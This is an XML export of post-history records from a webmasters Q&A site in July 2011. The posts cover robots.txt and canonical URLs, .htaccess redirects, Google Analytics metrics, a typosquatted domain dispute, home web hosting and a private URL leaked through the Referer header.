  <row Id="39907" PostHistoryTypeId="2" PostId="16700" RevisionGUID="7f877930-5281-4cd6-852e-d821e64f7a3f" CreationDate="2011-07-12T08:36:18.830" UserId="3653" Text="We are running a Magento store set up and was looking to block all pages with the exception of a select few.&#xD;&#xA;&#xD;&#xA;It seems the only way we can do this is with blocking direct paths to files that are in the root and then wildcarding various other diretories.&#xD;&#xA;&#xD;&#xA;My question is if we have a product like website/ultragloss-black.html the canonical is actually /zurfiz/ultragloss-solid-colours/ultragloss-black.html&#xD;&#xA;&#xD;&#xA;If we block /zurfiz/* will this block the short url version as the canonical is in the /zurfiz/ directory?" />
  <row Id="39908" PostHistoryTypeId="1" PostId="16700" RevisionGUID="7f877930-5281-4cd6-852e-d821e64f7a3f" CreationDate="2011-07-12T08:36:18.830" UserId="3653" Text="Blocking URLs and canonical questions..." />
  <row Id="39909" PostHistoryTypeId="3" PostId="16700" RevisionGUID="7f877930-5281-4cd6-852e-d821e64f7a3f" CreationDate="2011-07-12T08:36:18.830" UserId="3653" Text="&lt;seo&gt;&lt;robots.txt&gt;&lt;canonical-url&gt;" />
  <row Id="39910" PostHistoryTypeId="2" PostId="16701" RevisionGUID="24a8b1ef-c479-41d9-b833-9dfa40188a5a" CreationDate="2011-07-12T08:57:55.133" UserId="8910" Text="It is not possible to find those high PR blogs by using some kind of software. I will suggest to collect some URLs manually." />
  <row Id="39911" PostHistoryTypeId="2" PostId="16702" RevisionGUID="b60e834e-7c4d-486d-8b07-120cf0d4835a" CreationDate="2011-07-12T09:14:50.017" UserId="1643" Text="It won't block the short url version, but it does mean that you're telling search engines &quot;the canonical is here but I don't want you to look at it&quot;, which defeats the object of having a canonical page." />
  <row Id="39912" PostHistoryTypeId="25" PostId="16696" RevisionGUID="3d9a4149-bea2-44f3-8aa0-0fce69653144" CreationDate="2011-07-12T09:31:22.907" Comment="http://twitter.com/#!/StackWebmasters/status/90714859699847168" />
  <row Id="39913" PostHistoryTypeId="2" PostId="16703" RevisionGUID="50ae8307-1255-4d7f-9921-39358f5849fc" CreationDate="2011-07-12T09:45:15.843" UserId="1240" Text="You could use CSS3 gradients and drop-shadows for that desired effect, older browsers would just display a block colour, which would be fine.&#xD;&#xA;&#xD;&#xA;It would load much quicker than an image as well as being easier to edit, it would be the right thing to do." />
  <row Id="39914" PostHistoryTypeId="2" PostId="16704" RevisionGUID="495fe29b-6825-46fa-9338-c9c05c5d3215" CreationDate="2011-07-12T10:14:03.620" UserId="1643" Text="If you redirect hello.blogspot.com to hello.com using [Google's instructions][1] then all posts will appear under hello.com as you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/answer.py?hl=en&amp;answer=58317#godaddy" />
  <row Id="39915" PostHistoryTypeId="2" PostId="16705" RevisionGUID="031bbf99-f5c2-4a64-9ffd-d90827c11845" CreationDate="2011-07-12T10:16:38.897" UserId="8146" Text="I managed to do this using OpenX and GeoIP package installed. Thanks everyone.&#xD;&#xA;" />
  <row Id="39916" PostHistoryTypeId="2" PostId="16706" RevisionGUID="45bca085-6f2c-4d85-82b1-1ebe97cdce82" CreationDate="2011-07-12T10:24:34.887" UserId="8146" Text="I want to move my website to a new domain. Would be nice if you can share some experience or suggestion to minimize loss of visitors.&#xD;&#xA;&#xD;&#xA;In google webmaster tools there is an option which allows to move search result to a new domain. It should be done through a 301 permamently redirected page? Can you tell me what I have to do for this? do I need to put this 301 page in every page I had in old domain?&#xD;&#xA;&#xD;&#xA;More ideas are welcome.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="39917" PostHistoryTypeId="1" PostId="16706" RevisionGUID="45bca085-6f2c-4d85-82b1-1ebe97cdce82" CreationDate="2011-07-12T10:24:34.887" UserId="8146" Text="Moving to a new domain - what to do to minimize visitor loss" />
  <row Id="39918" PostHistoryTypeId="3" PostId="16706" RevisionGUID="45bca085-6f2c-4d85-82b1-1ebe97cdce82" CreationDate="2011-07-12T10:24:34.887" UserId="8146" Text="&lt;domains&gt;&lt;search-engines&gt;&lt;301-redirect&gt;&lt;visitors&gt;" />
  <row Id="39925" PostHistoryTypeId="2" PostId="16709" RevisionGUID="bcdffd41-f589-4e42-89a4-12a38dcf7319" CreationDate="2011-07-12T10:38:24.220" UserId="1643" Text="In that case [the answer I gave to this question yesterday][1] will redirect all the pages in one go (even though you're not using Tomcat). Search engines will notice the 301 and start indexing you at the new domain. Google will know you've moved too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/16670/site-wide-redirect-with-tomcat4/16672#16672" />
  <row Id="39926" PostHistoryTypeId="2" PostId="16710" RevisionGUID="598971c1-9c3a-418f-a050-202e33770f24" CreationDate="2011-07-12T10:41:52.630" UserId="3653" Text="We have the following in our .htaccess file:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;	rewritecond %{http_host} ^website.co [nc]&#xD;&#xA;	rewriterule ^(.*)$ http://www.website.co/$1 [r=301,nc]&#xD;&#xA;&#xD;&#xA;But seem to be getting some bizarre behaviour on URLs that don't have 'www.'&#xD;&#xA;&#xD;&#xA;For example if you go to http://website.co/page.html it will redirect you http://website.co/index.php and also give a 301 response.&#xD;&#xA;&#xD;&#xA;We're running a Magento set up with multiple domains so I don't know if there is a deeper problem here than the .htaccess in the root of the 'website.co' domain." />
  <row Id="39927" PostHistoryTypeId="1" PostId="16710" RevisionGUID="598971c1-9c3a-418f-a050-202e33770f24" CreationDate="2011-07-12T10:41:52.630" UserId="3653" Text=".htaccess and rewrite problems" />
  <row Id="39928" PostHistoryTypeId="3" PostId="16710" RevisionGUID="598971c1-9c3a-418f-a050-202e33770f24" CreationDate="2011-07-12T10:41:52.630" UserId="3653" Text="&lt;htaccess&gt;&lt;url&gt;&lt;mod-rewrite&gt;" />
  <row Id="39930" PostHistoryTypeId="5" PostId="16699" RevisionGUID="aae15a04-cce6-461f-8cb9-c08137f0b47f" CreationDate="2011-07-12T11:10:54.527" UserId="7296" Comment="added 123 characters in body" Text="You could create your own FONT and embed that on the page.&#xD;&#xA;&#xD;&#xA;See here http://stackoverflow.com/questions/220236/how-to-embed-fonts-in-html &#xD;&#xA;&#xD;&#xA;However unless you need the text to be dynamic I would just recommend using a image. It will look better and be guaranteed to looked identical on all browsers" />
  <row Id="39936" PostHistoryTypeId="2" PostId="16712" RevisionGUID="9a800d2b-1c5f-4f8d-ab7d-8eccf281cf9b" CreationDate="2011-07-12T11:51:06.270" UserId="1253" Text="It's hard to say for sure but here are likely scenarios:&#xD;&#xA;&#xD;&#xA;- The user has a browser toolbar or extension installed that reports the URLs they visit to Google.&#xD;&#xA;&#xD;&#xA;- Someone linked to that URL and Google found it by crawling the page with that link on it." />
  <row Id="39938" PostHistoryTypeId="4" PostId="15116" RevisionGUID="d3c73cdc-71d4-42c0-86db-ae6ae2efb01b" CreationDate="2011-07-12T11:55:12.177" UserId="3192" Comment="edited title" Text="How do I setup a permanent redirect from one domain to another?" />
  <row Id="39939" PostHistoryTypeId="24" PostId="15116" RevisionGUID="d3c73cdc-71d4-42c0-86db-ae6ae2efb01b" CreationDate="2011-07-12T11:55:12.177" Comment="Proposed by 3192 approved by 1253 edit id of 434" />
  <row Id="39940" PostHistoryTypeId="5" PostId="16654" RevisionGUID="c53a5bc6-22ec-4745-8fcb-b5f9171f1641" CreationDate="2011-07-12T11:57:31.457" UserId="1253" Comment="edited body" Text="The expiration date should be unaffected. However, many registrars require you to add another year to your registration when you transfer over to their services. But it will never expire sooner than its current expiration date." />
  <row Id="39941" PostHistoryTypeId="2" PostId="16713" RevisionGUID="529d4eb9-f277-44df-86a0-c66019bb11d6" CreationDate="2011-07-12T12:21:01.593" UserId="3653" Text="I would say page name first, if you have a page full of results on a search you are naturally going to go for the title that interests you, so if you see something relevent in the title you'll be drawn to it naturally rather than if it is website name first then page title" />
  <row Id="39942" PostHistoryTypeId="25" PostId="16695" RevisionGUID="0706de45-fcb3-4bdd-adc4-5defc1cd1513" CreationDate="2011-07-12T12:31:23.130" Comment="http://twitter.com/#!/StackWebmasters/status/90760158321442816" />
  <row Id="39943" PostHistoryTypeId="2" PostId="16714" RevisionGUID="9f6f8dd4-067d-4df3-9886-cd6aaf6c57ef" CreationDate="2011-07-12T13:06:50.007" UserId="8913" Text="When my Google Analytics account shows 10 minutes for time spent on site, what does this mean?&#xD;&#xA;&#xD;&#xA;Does it mean the visitors have opened one page and left it idling in a tab while (possibly) browsing in another tab?&#xD;&#xA;&#xD;&#xA;Or does it mean they have been browsing my site for 10 minutes straight with at least a certain amount of actions within a specific amount of time?&#xD;&#xA;&#xD;&#xA;I couldn't find any explanations of what exactly it is they measure." />
  <row Id="39944" PostHistoryTypeId="1" PostId="16714" RevisionGUID="9f6f8dd4-067d-4df3-9886-cd6aaf6c57ef" CreationDate="2011-07-12T13:06:50.007" UserId="8913" Text="What does the Google Analytics Average Time on Site calculate?" />
  <row Id="39945" PostHistoryTypeId="3" PostId="16714" RevisionGUID="9f6f8dd4-067d-4df3-9886-cd6aaf6c57ef" CreationDate="2011-07-12T13:06:50.007" UserId="8913" Text="&lt;google-analytics&gt;&lt;measure&gt;" />
  <row Id="39946" PostHistoryTypeId="2" PostId="16715" RevisionGUID="5cb6d1a4-2322-4830-972e-2c2330dffbf3" CreationDate="2011-07-12T13:09:01.363" UserId="1253" Text="From what I've read is they ignore visitors with only one page view and then count the amount of time between a visitor's first page visit and their last." />
  <row Id="39947" PostHistoryTypeId="12" PostId="16715" RevisionGUID="728370c0-bb93-407a-b9c6-5bf93d0b16c3" CreationDate="2011-07-12T13:09:14.110" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39948" PostHistoryTypeId="13" PostId="16715" RevisionGUID="ee72ee91-613e-4f3b-bd6f-fbdd9b695fe0" CreationDate="2011-07-12T13:12:41.690" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39949" PostHistoryTypeId="5" PostId="16715" RevisionGUID="92ed36aa-8e87-4307-807d-87287834dc22" CreationDate="2011-07-12T13:14:32.700" UserId="1253" Comment="added 104 characters in body" Text="From [Reverting Back to Original &quot;Average Time on Site&quot; Calculation Today][1], the amount of time spent on a website is calculated from&#xD;&#xA;&#xD;&#xA;&gt; [...]the total time on site for all visits divided by the total number of visits&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://analytics.blogspot.com/2007/09/reverting-back-to-original-average-time.html" />
  <row Id="39950" PostHistoryTypeId="2" PostId="16716" RevisionGUID="f3c0dd81-866d-4de5-95f1-a0925e5587fc" CreationDate="2011-07-12T13:39:28.347" UserId="2020" Text="A site I maintain tweets every time a blog post is published.&#xD;&#xA;&#xD;&#xA;Since the editors of the site have gone a bit mad with the ability to change the apparent date a blog post was published (back-dating as a layout tool), the twitter stream is the easiest way I have of knowing the actual date of publication.&#xD;&#xA;&#xD;&#xA;I now need to make a case for the efficacy of blogging (in conversion terms) and have turned to Google Analytics, who have been hoovering up our visitor data for over a year. My first thoughts were therefore to add annotations for each blog publish event, so that the ramps and spikes are more easily interpreted.&#xD;&#xA;&#xD;&#xA;Is there any way of importing data to be used as annotations? How hard would it be to massage the twitter stream data into a format that Google might play nicely with? Would it just be easier to manually add an annotation for each tweet? " />
  <row Id="39951" PostHistoryTypeId="1" PostId="16716" RevisionGUID="f3c0dd81-866d-4de5-95f1-a0925e5587fc" CreationDate="2011-07-12T13:39:28.347" UserId="2020" Text="(How) Could I import twitter posts as annotations in Google Analytics?" />
  <row Id="39952" PostHistoryTypeId="3" PostId="16716" RevisionGUID="f3c0dd81-866d-4de5-95f1-a0925e5587fc" CreationDate="2011-07-12T13:39:28.347" UserId="2020" Text="&lt;google-analytics&gt;&lt;twitter&gt;&lt;import&gt;" />
  <row Id="39953" PostHistoryTypeId="2" PostId="16717" RevisionGUID="13f8795b-3e50-4833-919a-9d2b5b44b566" CreationDate="2011-07-12T13:59:34.520" UserId="8914" Text="I am the author of a quite popular weather software - YoWindow.&#xD;&#xA;Our website is http://yowindow.com&#xD;&#xA;Today I have found out that some person has registered http://yowindows.com domain, &#xD;&#xA;the difference is in &quot;S&quot; at the end.&#xD;&#xA;&#xD;&#xA;Now he is trying to sell our product as affiliate on this page.&#xD;&#xA;&#xD;&#xA;I have absolutely no knowledge in the field of domain name legislation.&#xD;&#xA;So I ask you for help.&#xD;&#xA;&#xD;&#xA;I wonder if we can take away the domain from the person.&#xD;&#xA;Can we claim the domain ownership to us, to avoid this happening in the future?&#xD;&#xA;&#xD;&#xA;YoWindow is US registered trademark.&#xD;&#xA;And there are no any other product with the name YoWindow in the world.&#xD;&#xA;So we can prove our rights to the name.&#xD;&#xA;&#xD;&#xA;Pasha&#xD;&#xA;" />
  <row Id="39954" PostHistoryTypeId="1" PostId="16717" RevisionGUID="13f8795b-3e50-4833-919a-9d2b5b44b566" CreationDate="2011-07-12T13:59:34.520" UserId="8914" Text="Interesting domain name fraud - can we get domain back from the fraudster?" />
  <row Id="39955" PostHistoryTypeId="3" PostId="16717" RevisionGUID="13f8795b-3e50-4833-919a-9d2b5b44b566" CreationDate="2011-07-12T13:59:34.520" UserId="8914" Text="&lt;domains&gt;&lt;domain-names&gt;" />
  <row Id="39956" PostHistoryTypeId="2" PostId="16718" RevisionGUID="8e783032-3bd2-4366-8c8d-0867700bffb7" CreationDate="2011-07-12T14:08:59.720" UserId="1253" Text="*Disclaimer: I am not a lawyer. You should always seek professional advice on legal matters and not rely on unknown random people on the Internet.*&#xD;&#xA;&#xD;&#xA;If you did trademark &quot;YoWindow&quot; and they are attempting to capitalize from your trademark you do have legal recourse to take that domain from them. &#xD;&#xA;&#xD;&#xA;[This page][1] looks like it has a lot of good information about this subject (emphasis mine).&#xD;&#xA;&#xD;&#xA;&gt; **Question: Isn't the domain name registration process &quot;first come first served&quot;?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Answer: In .com, .org and .net, which are &quot;open&quot; to any kind of&#xD;&#xA;&gt; registrant, the policy is first-come, first-served, as long as you&#xD;&#xA;&gt; have registered and used the domain name in good faith or have&#xD;&#xA;&gt; legitimate interests in the domain name. However, **you have no right to&#xD;&#xA;&gt; violate trademark law**, or ignore your Registration Agreement, or&#xD;&#xA;&gt; engage in cybersquatting just because you registered the name first.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.chillingeffects.org/domain/faq.cgi#QID229" />
  <row Id="39957" PostHistoryTypeId="2" PostId="16719" RevisionGUID="162dc7f4-f955-4519-a8f8-149e55ca3d47" CreationDate="2011-07-12T14:17:10.697" UserId="7198" Text="Google Analytics doesn't support automated annotations via their API (although there's an [open feature request](http://code.google.com/p/gdata-issues/issues/detail?id=1793) for it).&#xD;&#xA;&#xD;&#xA;Likewise, they don't appear to support bulk import of annotations. As such, even if you could extract original publish dates from your blogging software (or lift them from twitter), you're stuck adding each annotation manually, one at a time.&#xD;&#xA;&#xD;&#xA;For that reason, if you're trying to prove that posting regularly has a positive effect on traffic, I would suggest sampling a short period—say, a month—in which many posts were published, annotate those publish dates in Google Analytics, and compare that with a period in which few posts were created.&#xD;&#xA;&#xD;&#xA;In future, Google may offer up the annotation feature via its API. When that happens, you could add annotations when each post is first published rather than attempting to hack something together that crawls twitter and submits data to Google Analytics en masse. With WordPress, for example, you might use the `publish_post` hook to ping the Google API to add an annotation each time a post with a unique ID is published. (You'd check it has a unique ID to make sure it's being published for the first time; you don't want to send data to Analytics if it's just being edited later on.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39958" PostHistoryTypeId="2" PostId="16720" RevisionGUID="70e60cf5-a024-43d2-87ac-0c77fe398f8f" CreationDate="2011-07-12T14:31:44.210" UserId="7198" Text="ICANN has an [official procedure for resolving disputes](http://www.icann.org/en/udrp/udrp-policy-24oct99.htm) in the event that &quot;a domain name is identical or confusingly similar to a trademark or service mark in which [you have] rights&quot;.&#xD;&#xA;&#xD;&#xA;You can submit a complaint to one of ICANN's [approved dispute resolution service providers](http://www.icann.org/en/dndr/udrp/approved-providers.htm) if you wish to gain control of the other domain.&#xD;&#xA;&#xD;&#xA;You might also wish to:&#xD;&#xA;&#xD;&#xA; 1. Contact the affiliate service ([Plimus](http://plimus.com)) and ask them to blacklist the affiliate. (They may refuse.)&#xD;&#xA; 2. Contact [the domain registrar of the rogue domain](http://whois.domaintools.com/yowindows.com) to explain your position and trademark.&#xD;&#xA; 2. Register domains for variations of your trademarks in future.&#xD;&#xA;&#xD;&#xA;Alternatively, you might find that an affiliate selling your product in this way actually improves your sales, in which case I would be less likely to complain.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39959" PostHistoryTypeId="17" PostId="16721" RevisionGUID="57419924-2cd7-4025-904a-47cf45b33c31" CreationDate="2011-07-12T14:50:41.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6664986/hourly-deal-extension-magento-1-5" Text="" />
  <row Id="39960" PostHistoryTypeId="17" PostId="16722" RevisionGUID="7a99c83a-520e-4c94-9403-96ba852cf176" CreationDate="2011-07-12T14:50:41.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6664986/hourly-deal-extension-magento-1-5" Text="" />
  <row Id="39961" PostHistoryTypeId="2" PostId="16722" RevisionGUID="081550f8-131e-4100-838e-f0b02f6e279f" CreationDate="2011-07-12T13:40:54.457" UserDisplayName="Mike Swift" Text="Here is a thread on the forums that advertises for a daily deal plugin.&#xD;&#xA;&#xD;&#xA;&gt; http://www.magentocommerce.com/boards/viewthread/204524/&#xD;&#xA;&#xD;&#xA;Since Magento is written in PHP, I can't imagine it would be too hard for you to adjust the timing to hours instead of days.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39962" PostHistoryTypeId="2" PostId="16721" RevisionGUID="19de7613-8a78-4258-894e-9ed20f7f8498" CreationDate="2011-07-12T13:32:16.223" UserDisplayName="korasathish" Text="I want to implement hourly basis product deal on my website using magento 1.5,&#xD;&#xA;administrator has to handle on deal date , time and time duration for that particular product deal,&#xD;&#xA;can u please suggest me if its there any extension available&#xD;&#xA;or kindly suggest the best solution/idea" />
  <row Id="39963" PostHistoryTypeId="1" PostId="16721" RevisionGUID="19de7613-8a78-4258-894e-9ed20f7f8498" CreationDate="2011-07-12T13:32:16.223" UserDisplayName="korasathish" Text="hourly deal extension magento 1.5" />
  <row Id="39964" PostHistoryTypeId="3" PostId="16721" RevisionGUID="19de7613-8a78-4258-894e-9ed20f7f8498" CreationDate="2011-07-12T13:32:16.223" UserDisplayName="korasathish" Text="&lt;untagged&gt;" />
  <row Id="39965" PostHistoryTypeId="4" PostId="16681" RevisionGUID="b9197790-b8ad-41ba-9905-cfbb2d3d1a4f" CreationDate="2011-07-12T14:53:55.357" UserId="8847" Comment="edited title" Text="How to change the listening port on IIS 7 web application?" />
  <row Id="39966" PostHistoryTypeId="2" PostId="16723" RevisionGUID="bc46d192-b0d3-4985-86cc-345c86ee25ab" CreationDate="2011-07-12T15:05:09.197" UserId="332" Text="I have to a get a very simple data entry website up and running. This website will be accessed by only a few people at a time (at most), but usually only one person, and not very frequently - maybe a coupel hours at a time, not every day.&#xD;&#xA;&#xD;&#xA;I really don't want to pay for hosting if I don't have to. I have AT&amp;T U-Verse Internet Service. &#xD;&#xA;&#xD;&#xA;How feasible is it for me to setup a simple Windows/IIS website on my home network that can be accessed publicly? What's the minimum Internet speed I would need? How can make sure that the IP Address for the public website is static, so I can setup my DNS and forget about it?&#xD;&#xA;&#xD;&#xA;Any additional thoughts or suggestions on this type of setup would be greatly appreciated. If this is not feasible, or easy, I will likely just go with a hosting service, and I already have one picked out, so I don't need any suggestions for this.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39967" PostHistoryTypeId="1" PostId="16723" RevisionGUID="bc46d192-b0d3-4985-86cc-345c86ee25ab" CreationDate="2011-07-12T15:05:09.197" UserId="332" Text="Is it feasible to run a public-facing website from my home network?" />
  <row Id="39968" PostHistoryTypeId="3" PostId="16723" RevisionGUID="bc46d192-b0d3-4985-86cc-345c86ee25ab" CreationDate="2011-07-12T15:05:09.197" UserId="332" Text="&lt;web-hosting&gt;" />
  <row Id="39969" PostHistoryTypeId="2" PostId="16724" RevisionGUID="9ea535c5-df57-4634-b562-bef4a734d2e5" CreationDate="2011-07-12T15:10:08.090" UserId="1643" Text="It's quite feasible. An alternative to using IIS (check that you've got it on your version of Windows) is the [WAMPserver][1].&#xD;&#xA;&#xD;&#xA;For the low usage you've got speed isn't important.&#xD;&#xA;&#xD;&#xA;You'll have to check with your ISP if you can get a static IP address but [this answer][2] covers what to do once you've only got a dynamic one.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wampserver.com/en/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/6157/what-things-required-to-host-a-website-at-home/6158#6158" />
  <row Id="39971" PostHistoryTypeId="25" PostId="16717" RevisionGUID="051517f7-2416-43ba-8bae-eaa685bab2e0" CreationDate="2011-07-12T15:31:23.760" Comment="http://twitter.com/#!/StackWebmasters/status/90805458717261825" />
  <row Id="39972" PostHistoryTypeId="2" PostId="16725" RevisionGUID="f6dde8c1-d6b0-4331-86c6-5f827b8d8dae" CreationDate="2011-07-12T15:46:49.153" UserId="8147" Text="I saw that Facebook like open-source software a lot. Is there some webmaster-specific reason why don't they use jQuery or another javascript library? &#xD;&#xA;Is that because jQuery/another js library has a &quot;lot&quot;&lt;sup&gt;[1]&lt;/sup&gt; of kilobytes? Or another reason?&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;[1]&lt;/sup&gt; I know it's only about 50kb, but you have to consider that's Facebook, a lot of traffic&#xD;&#xA;&#xD;&#xA; " />
  <row Id="39973" PostHistoryTypeId="1" PostId="16725" RevisionGUID="f6dde8c1-d6b0-4331-86c6-5f827b8d8dae" CreationDate="2011-07-12T15:46:49.153" UserId="8147" Text="Is there serious reason why big company like Facebook or Google don't use front-end libraries such as jQuery?" />
  <row Id="39974" PostHistoryTypeId="3" PostId="16725" RevisionGUID="f6dde8c1-d6b0-4331-86c6-5f827b8d8dae" CreationDate="2011-07-12T15:46:49.153" UserId="8147" Text="&lt;google&gt;&lt;javascript&gt;&lt;facebook&gt;" />
  <row Id="39975" PostHistoryTypeId="10" PostId="16725" RevisionGUID="0084429a-883f-4f08-aee0-d7b50340d588" CreationDate="2011-07-12T15:51:07.573" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39976" PostHistoryTypeId="6" PostId="16721" RevisionGUID="db75390c-6e3c-4ee2-beda-62fc5a2b22ef" CreationDate="2011-07-12T16:02:28.420" UserId="4502" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;magento&gt;" />
  <row Id="39977" PostHistoryTypeId="2" PostId="16726" RevisionGUID="ccd26c46-7b76-429a-a308-8fa29a1e403d" CreationDate="2011-07-12T16:24:03.840" UserId="8908" Text="I just realized that the user must have found an outbound link on this authenticated page, and then leaked the private URL as `Referer` when clicking through to some other website. This is the only possible explanation, and should really have been obvious from the start.&#xD;&#xA;&#xD;&#xA;Once leaked, the private URL may have been exposed to Google in a number of ways, e.g. they might have published their access logs publicly. **Note:** none of the outbound links were using Google Analytics so this does not indicate that Googlebot are using referrer URLs from Analytics.&#xD;&#xA;&#xD;&#xA;**Lesson relearned:** *never ever* put sensitive data in URLs unless you use https, in which case the browser would have left `Referer` empty." />
  <row Id="39978" PostHistoryTypeId="5" PostId="16696" RevisionGUID="c8bd32ad-4b76-4caf-9dd3-ea3dcbed3902" CreationDate="2011-07-12T16:26:08.240" UserId="8908" Comment="deleted 164 characters in body" Text="Here is one of my customers, performing some action after having logged in to his account. The unique token is simply an encrypted user id + timestamp.&#xD;&#xA;&#xD;&#xA;&gt; 94.254.xxx.xxx - - [02/Jul/2011:22:25:46 +0200] &quot;GET /some-action/unique-token-123abc HTTP/1.1&quot; 200 410 &quot;-&quot; &quot;Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)&quot;&#xD;&#xA;&#xD;&#xA;Now, **Googlebot** somehow found out about this unique link and tried to access the exact same URL one week later.&#xD;&#xA;&#xD;&#xA;&gt;66.249.71.179 - - [10/Jul/2011:09:56:01 +0200] &quot;GET /some-action/unique-token-123abc HTTP/1.1&quot; 302 - &quot;-&quot; &quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&quot;&#xD;&#xA;&#xD;&#xA;(status code is 302 because the token had expired)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Let me emphasize that this is a unique URL that was visible exactly once, for only 2 seconds, before the user clicked it and proceeded to visit that page. It was not sent in an email or published anywhere public.&#xD;&#xA;&#xD;&#xA;What is going on here, how is it possible that Google found this unique URL?" />
  <row Id="39979" PostHistoryTypeId="2" PostId="16727" RevisionGUID="bb2edf28-d581-4d00-aa2b-67418fe8e24c" CreationDate="2011-07-12T16:52:58.473" UserId="8915" Text="The easiest and best method is a GoDaddy to GoDaddy transfer (or &quot;account change&quot;) which is detailed at http://help.godaddy.com/article/822. This *should* allow you to keep any associated email accounts intact (but no guarantees).&#xD;&#xA;&#xD;&#xA;If you're transferring from anywhere else, kiss those accounts goodbye unless you can just change out the MX records.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39980" PostHistoryTypeId="2" PostId="16728" RevisionGUID="c90d36e4-a8de-41e2-b92c-9fa608ecec69" CreationDate="2011-07-12T17:18:19.310" UserId="8117" Text="I do this with my Comcast service at home.  I don't have a static IP.  I use a dynamic DNS service ( http://www.dyndns.com/ ).&#xD;&#xA;&#xD;&#xA;I do have a VirtualBox machine ( http://www.virtualbox.org/ ) dedicated to the web server (Turnkey LAMPstack http://www.turnkeylinux.org/lampstack).  &#xD;&#xA;&#xD;&#xA;My Linksys router ( http://amzn.to/po2KiD ) is my firewall with Tomato firmware ( http://www.polarcloud.com/tomato ).  The firmware allows a hole in the firewall to direct port 80 and 443 to the web server as well as limited bandwidth monitoring.  It also automatically updates the DNS entry when my IP address changes.&#xD;&#xA;&#xD;&#xA;Since the connection is slow, fast enough for webpages but not images.  All images are hosted with my Picasa account ( http://picasa.google.com/features.html ) and load quickly for all users.&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;-Bob&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39981" PostHistoryTypeId="2" PostId="16729" RevisionGUID="bda97d42-186e-4c27-ad3e-bf5b41171a81" CreationDate="2011-07-12T17:20:12.857" UserId="8916" Text="i want to play an mp3 on a html pg and then put a alert msg.but using the code below,the mp3 is not playing unless the alert msg is first cleared.&#xD;&#xA;so is there any way i could play the complete mp3 1st and then have the alert msg?&lt;br&gt;&#xD;&#xA;CODE:&#xD;&#xA;&#xD;&#xA;    &lt;EMBED src=&quot;file.mp3&quot; autostart=true hidden=true&gt;&#xD;&#xA;    &lt;SCRIPT&gt;alert ('msg')&lt;/SCRIPT&gt;" />
  <row Id="39982" PostHistoryTypeId="1" PostId="16729" RevisionGUID="bda97d42-186e-4c27-ad3e-bf5b41171a81" CreationDate="2011-07-12T17:20:12.857" UserId="8916" Text="play mp3 before script alert" />
  <row Id="39983" PostHistoryTypeId="3" PostId="16729" RevisionGUID="bda97d42-186e-4c27-ad3e-bf5b41171a81" CreationDate="2011-07-12T17:20:12.857" UserId="8916" Text="&lt;html&gt;&lt;website-design&gt;&lt;javascript&gt;&lt;music&gt;" />
  <row Id="39984" PostHistoryTypeId="5" PostId="16729" RevisionGUID="349a8fbd-f17f-4470-84a6-fbbaaa06a3d8" CreationDate="2011-07-12T17:27:51.780" UserId="1253" Comment="modified tags, minor text edits, improved title" Text="I want to play an mp3 on a html page and then put a alert message, but using the code below, the mp3 is not playing unless the alert message is first cleared. So is there any way I could play the complete mp3 first and then have the alert message?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;EMBED src=&quot;file.mp3&quot; autostart=true hidden=true&gt;&#xD;&#xA;    &lt;SCRIPT&gt;alert ('msg')&lt;/SCRIPT&gt;" />
  <row Id="39985" PostHistoryTypeId="4" PostId="16729" RevisionGUID="349a8fbd-f17f-4470-84a6-fbbaaa06a3d8" CreationDate="2011-07-12T17:27:51.780" UserId="1253" Comment="modified tags, minor text edits, improved title" Text="Play an mp3 file before a JavaScript alert is fired" />
  <row Id="39986" PostHistoryTypeId="6" PostId="16729" RevisionGUID="349a8fbd-f17f-4470-84a6-fbbaaa06a3d8" CreationDate="2011-07-12T17:27:51.780" UserId="1253" Comment="modified tags, minor text edits, improved title" Text="&lt;html&gt;&lt;javascript&gt;&lt;music&gt;" />
  <row Id="39987" PostHistoryTypeId="5" PostId="12532" RevisionGUID="7e6f1873-1b5a-43cc-8bac-052c2a12ff65" CreationDate="2011-07-12T17:29:12.217" UserId="8147" Comment="edited body" Text="Facebook is the largest social networking site in the world. With over 750 million users Facebook is a thriving platform that developers can use to communicate with users and promote their applications." />
  <row Id="39988" PostHistoryTypeId="24" PostId="12532" RevisionGUID="7e6f1873-1b5a-43cc-8bac-052c2a12ff65" CreationDate="2011-07-12T17:29:12.217" Comment="Proposed by 8147 approved by 1253 edit id of 435" />
  <row Id="39989" PostHistoryTypeId="10" PostId="16729" RevisionGUID="d762d8e6-92e0-4356-b475-16af6ac50f00" CreationDate="2011-07-12T17:31:27.783" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
